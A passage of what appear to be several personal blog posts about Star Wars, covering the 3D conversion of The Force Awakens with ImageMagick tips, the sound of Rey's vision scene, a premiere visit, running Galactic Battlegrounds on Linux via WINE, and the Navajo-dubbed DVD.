2. In the middle we have Poe and the Stormtroopers.
3. Everything else is background.

Take a look at the troopers in the background - notice how they don't move in relation to each other - or the buildings behind them. If this were a true 3D scene, we'd expect to see some relative movement, but there is none.

Another sign of 3D conversion is the way lights reflect off a surface. Take a look at any normal reflective surface close to you. Wink your eyes alternately. Notice how the reflections on the surface jump around quite dramatically? Now look back at the foreground Stormtroopers. The reflections on their armour stay completely still.

I had naively thought that all the computer-generated special effects would have been rendered in 3D - but I'm not convinced that's true. Here we see some TIE fighters pursuing the Millennium Falcon.

Here, the 3D effect is noticeably worse! There is a fighter at the front of the screen - literally everything else is in the background. The position of the Falcon relative to the crashed Star Destroyer is static. The debris on the left of the screen should moving relative to the background, but it isn't.

In fact, looking at the TIE in the foreground - it looks like a 2D image floating above the rest of the scene. There's no discernible depth to it.

You can see this in some of the other shots. Here's Rey exploring the abandoned Star Destroyer.

The front floats above the background. Despite this being - I assume - an entirely CGI shot, it is little better than a South-Park-style paper-cut animation. Even worse, take a look at the right hand side of the image. A large blank gap where the image has just been squashed.

This happens constantly throughout the film. Here's what looks like an scene with huge depth - at first glance:

Look at both the left and right side. They've been artificially shunted inwards, leaving huge gaps!

That isn't to say there are some great 3D moments in the film. The character of Maz Kanata is entirely computer generated - and she looks amazing!

But, for every shot like that, you get this hot mess.

The angle of the sparks seem to change radically from foreground to background. The Lightsabre seems almost curved. There's no depth to the main character. And what the hell is happening on the right hand side? It looks like the picture has been squashed.

Thoughts

At first, I was disappointed with this conversion. This wasn't the fully immersive 3D world I'd been promised!

But then I remembered how much fun it was to watch the movie. After 5 minutes of a normal 3D flick the depth becomes about as entertaining as technicolor; it fades away. Or, even worse, it becomes a distraction as your eyes keep trying to catch up with what the brain thinks it is seeing.

But SWTFA keeps popping out of the screen without being obnoxious. Most of the action sequences have an exaggerated foreground object standing out from a flattened background.

There are a few notable exceptions - like the BB-8 shot at the top of this page and my personal favourite:

The hologram blurs as it exits the front of the picture. Finn's head seems to move beautifully behind the rest of the technical read-outs. This is one of the few shots which looks like it was filmed in 3D and also had 3D CGI applied.

And, yet, for all that - I still love the film. It's a fun romp and the 3D, while not perfect, certainly helps some of the scenes.

Technical Notes

Here's how to create these animated gifs out of a 3D movie. These are mostly notes to myself!

ImageMagick can split an Over/Under movie into Left and Right images using:

mogrify -crop 100%x50% +repage 3D.png

For Side-by-Side you'll need to use:

mogrify -crop 50%x100% +repage 3D.png

This produces two files - 3D-0.png and 3D-1.png

You can, optionally, trim out the black borders with:

convert 3D-0.png -crop 1920x398+0+70 +repage 3D-0.png

(Substitute the correct resolution for your particular file.

Stretch the image back to full height using:

mogrify -resize 100%x200% 3D-0.png

You can make an animated GIF using:

convert +dither -delay 25x100 -loop 0 +repage 3D-0.png 3D-1.png 3D.gif

Or, you can make a movie using

avconv -r 1 -i 3D-%d.png 3D.ogv

This can be transcoded to webm and mp4 as needed

Star Wars VII contains the most magnificence dream sequence. When Rey lays her hand on a lightsaber for the first time, the world dissolves as a cacophony of audio hallucinations plague her. It's a short sequence - lasting just under a minute - but the sound design is beautiful.

After seeing the fabulous Path of a Lightsaber video I thought I'd have a go at deconstructing all the voices which went into creating such a mesmerising piece.

I've isolated, as far as I can, all the different people - ducking out the background noise and boosting the spoken words where possible.

The original surround-sound audio is presented here in stereo - it's well worth listening to with a set of headphones to aid clarity.

Plenty of Obi-Wan - both Ewan McGregor and a digitally reconstructed Alec Guinness? Quite a lot of Yoda too. I didn't hear any Jake Lloyd or Hayden Christensen - which is a shame - although we do get some of Vader's heavy breathing. Listening back I also expected to find some of the villains in there. Unless my ears deceive me, there's no Kylo, Palpatine, or Snoke. A curious ommission, I thought.

I used Audacity to clear up the audio, isolating the sounds from each channel where possible.

As you can see, there's a lot of stuff happening in the surround channels, which makes that part of the film incredibly immersive. It's interesting to see just how each element is placed in the sound field to build up a coherent landscape of voices coming at you from all directions. When paired with the tremendous special effects, it produces one of the stand-out scenes of the movie.

Later on this month, I hope to show you how the movie cheats with its 3D effects to give an enhanced feeling of depth.

Thanks for listening!

I love Star War. Probably more than is healthy. When tickets for the new movie were released, I snaffled up a pair... for the next morning! Look, I'm getting old, and I didn't fancy watching a midnight screening full of screaming fans. So I booked a 10 am showing on the (entirely correct) assumption that the cinema would be empty and I could enjoy it in peace.

My employer, O2 (standard disclaimer), had been giving away tickets all week to their customers via a competition which, reasonably, staff weren't allowed to enter. They did have a competition to go to an exclusive screening which I hadn't won. :sad face emoji:

I was sat in a meeting and, while my colleagues are riveting, had cause to check my phone. I flicked into my email - having exhausted Twitter, Facebook, MySpace, and some cool app you've not heard of yet - and spotted this subject line:

Tickets To Tonight's Star Wars Premiere. Reply ASAP

omg!

I hit reply to the email claiming the tickets. Then read the email properly and emailed the correct person. Then I sent another email just to make sure they got the first two. Then waited.

And waited...

OMG!

I texted my wife and then ran out of the office as fast as my dignity would allow.

Stopping to tweet first, of course!

Terence Eden is on Mastodon

@edent

OMG!!! I've just won tickets to tonight's Star Wars premiere in London!

Can't stop shaking.

My employer - @O2 - is absolutely amazing ☺

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OMG!

OMG!

I've been to film previews in Leicester Square before - 5 years ago for the disastrous Tron sequel - but this was the first time I'd been to a première. It was crazy!

Terence Eden is on Mastodon

@edent

#StarWarsForceAwakens
YayayayyayYYyYu pic.x.com/prwd3l4hit

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The place was packed with fans in costumes - and people getting selfies with them.

Terence Eden is on Mastodon

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Oblig #StarWarsForceAwakens selfie! pic.x.com/hmrtflmxfq

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We didn't get to see any of the stars - the place was far too packed for that, so we started queueing. I've seen photos of the queues at the 1977 screening - but I'd never experienced anything quite like this.

Literally queues around the block and back again! But, for all that, they moved quickly and we were able to get into cinema without much trouble. Only to be met with these dire warnings.

I was ridiculously nervous. I was shaking - I don't know if it was fear (what if it's crap?), excitement (OMG!), or the free ice-cream we'd been given. But my stomach was cramping and my head was spinning.

The cinema was showing us the Sky TV coverage of the stars arriving which wasn't exactly must-see-TV. I squeezed my way past a full row of people (sorry, excuse me, thanks, much obliged, sorry). Because I didn't know how long it would be before they started the film, I went for the quickest toilet break in the history of cinema-goers.

Well, that was the idea - I got stuck behind a escalator full of Storm Troopers.

Terence Eden is on Mastodon

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Even the Empire's finest need a little help! #StarWarsForceAwakens pic.x.com/thfla6fvoo

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I ran back to the screen - only to be faced with another half-hour of celebrity interviews. It was so weird seeing the red-carpet interviews. I'd been avoiding spoilers - even trailers - so I could have a completely fresh experience. I had no idea that Lupita Nyong'o was in the film until they started interviewing her. So strange!

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I've avoided so many #StarWarsForceAwakens spoilers that I had no idea who the cast is. Loving seeing the cast walk down the red carpet ☺

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And then, with knots in my stomach, the lights went down and the screen came alive with magic.

Terence Eden is on Mastodon

@edent

My spoiler free review of #StarWarsForceAwakens?

If anything - *too* perfect ☺

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I'm not ashamed to say I bounced in my seat with excitement at the space battles. I had a visceral need to buy a remote control BB-8. I was beside myself with joy for every single second of the show.

I stand by what I said in my tweet - it was too good. The intertextual fan-service bordered on the gratuitous but, after the anodyne prequels, it was most welcome. Much like "Jay and Silent Bob Strike Back" was a love letter to Kevin Smith fans, The Force Awakens is a beautiful apology to long-suffering fans of the franchise.

I left the screening grinning wildly. We were handed free lightsabres as we left (toy ones, alas) and spent the tube journey home subtly duelling.

I remembered my original review of The Phantom Menace. I thought it was amazing. In retrospect, it wasn't. Would I feel the same way about this movie?

The next morning we saw it again - in 33DD! It was even better. The use of depth was just perfect - the static shots of gigantic space-ships were mesmerising. Like all 3D films, the extra dimension doesn't add anything the majority of the time - and it's no different in Star Wars. I'm looking forward to reconstructing some of the models in 3D

Some people have complained the the film is a direct clone of A New Hope. Those people are, bluntly, ignorant. If you think that ANH is somehow original, you've misunderstood the point of the film.

The Force Awakens is a beautiful homage to the films I grew up with - and I love it.

Sadly, I couldn't afford the original pieces of the Death Star (expected price of £10k-20k) nor the Millennium Falcon blueprints (a more reasonable £1k). I made do with scraping the images out of the catalogue.

Here are all the gorgeous art works that I could find from A New Hope, "Chapter II", and "Blue Harvest".

Original Star Wars Blueprints, props, notes, and stuff on Imgur.

Or Download directly.

This is a brief guide to getting the game working on Linux - including multiplayer and widescreen.

I'm using Ubuntu 14.04 - but the steps should be broadly similar on any distro.

Install the latest version of WINE.

sudo add-apt-repository ppa:ubuntu-wine/ppa
sudo apt-get update
sudo apt-get install wine1.7

Install the game as normal, the installer will probably crash at the end, ignore it. You can now run the basic version of SWGB without any fuss.

I found that on quitting the game, my desktop wouldn't always revert back to to the correct resolution. To solve this, run SWGB in a Virtual Desktop :

wine explorer /desktop=name,1024x768 swgbg.exe

The virtual desktop will expand and shrink depending on the resolution of the game.

I did find that running the virtual desktop at a lower resolution occasionally gave graphical glitches like this : A quick restart fixed it.

Multiplayer

To get multiplayer working, I followed this advice and installed DirectPlay from Microsoft (you can ignore the stuff about disabling your network adapter).

winetricks directplay

On restarting the game, you should now be able to play across a LAN. Our two laptops communicated quite happily over WiFi.

Remember, Microsoft Zone doesn't exist any more - so you'll either have to play with people on a LAN, or ask for their external IP address. I've no idea which ports need forwarding.

Widescreen Patch

This game was originally designed for a 4:3 screen. If you've got a laptop or modern monitor, you'll probably want to make use of all that extra space.

There is a Wide Screen Patch available. Follow the instructions in the .zip file to apply the patch. Tell the game options that you want to play at 1280*1024 - this will switch it to widescreen.

I didn't notice any graphical glitches - but this game is over a decade old, so the graphics are quite low resolution.

One thing to note, if you're using the Virtual Desktop, you may find the game doesn't take over the whole screen - leaving you unable to access the lower portions.

In which case, I recommend running without the Virtual Desktop.

Gameplay

It's still just as good as I remembered! The music is epic, the voice acting is adequate, and the game mechanics are perfectly tuned.

Everything works well on Linux - even if it does take just a little bit of fiddling to get it right.

Totally worth a go for four quid. Buy it on GOG.com.

Like many children of my generation, I don't remember a time before Star Wars. My birthday cakes were sloppy green Jabba The Hutts, my brother always got the "baddie" toys and I got the "goodies", every cardboard tube became a deadly lightsabre in my hands.

The force run strong in my family. I have it. My wife has it.

I've collected every variant of the Star Wars movies there is. The remakes, the fan edits, the parodies. Each one adds something new to the legend, each one takes me back to being 7 years old.

I want to impress on you that Star Wars takes up an unhealthy part of my life.

Navajo

Like many Europeans, my knowledge of the Navajo people and culture is limited to a few stereotypes from movies and obscure trivia about Code Talkers in the second world war.

Back in 2012, Star Wars became the first major motion picture to be translated into Navajo. It was originally screened at the Navajo Nation Fair with no plans to release it commercially. Lucasfilm have since relented and it's now available to buy on DVD from the Navajo Museum gift shop and online from Walmart. It's not available in Europe, so I'm indebted to my mate Kevin for shipping me a copy.

It's wonderful. Just like the fanedits of Phantom Menace which remove Jar-Jar - this takes Star Wars in an entirely new direction. Luke isn't quite so whiney - he sounds like a confident young man. C-3PO is female, which gives her a lovely resonance with Maria from Metropolis. Obi-Wan sounds a lot older and - way to reveal my prejudices - takes on a more mystic quality.

The alien languages have not been translated - although there are Navajo subtitles for them.

Minor Disappointments

The only real downside is that the (standard definition) video is drawn from the crappy 1997 "Special Editions". That means you get the joy of late '90s CGI, overly saturated colours, and Han shooting.... oh god... it hurts to say it! Han shoots second!

You do get Biggs and Boba Fett though. Almost makes up for it!

The disc contains English subtitles, but they are straight copies of the English language version. I was hoping that they would be a transliteration from the Navajo. I'd love to understand exactly how it was translated

These are, to be fair, minor blemishes on an otherwise flawless presentation.

Disc

This is an American release, so the resolution is only 720*480 anamorphic. Audio is DD 5.1 (no DTS) the Navajo audio mix is seemingly identical to the other two on the disc - English and Spanish. The voices are loud and clear within the background music, 3PO has a pleasingly metalic quality, and Vader is deep and booming.

No special features on there - it would have been nice to have a "making of" or "behind the scenes" - there are chapter selections options and interactive menus to select your language preferences.

The printing on the disc is somewhat barren.

Terence Eden is on Mastodon

@edent

Thanks @Suw & @kevglobal!
Star Wars in Navajo - can't wait to watch ☺ pic.x.com/2q3uqi55ro

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Verdict

I can't comment on the quality of the translation - although it has been very well received. As with any translated movie, it's always fun to see which words have been loaned to the new language. While I wasn't expecting "Artoo Deetoo" to get a new name, I must admit to be surprised that there are apparently no Navajo words for "Princess", "Empire", "Rebel", or "Your Highness".

If you're a Star Wars completist, I think this disc is a worthwhile addition to your collection. It gives you a chance to experience an innovative translation and, hopefully, if enough people buy it then more films will be translated into Navajo.

There's a beautiful article by Chris Taylor where he writes about the first screening of the Navajo version.

"Ats’ahoniyee’ nil holoo doo."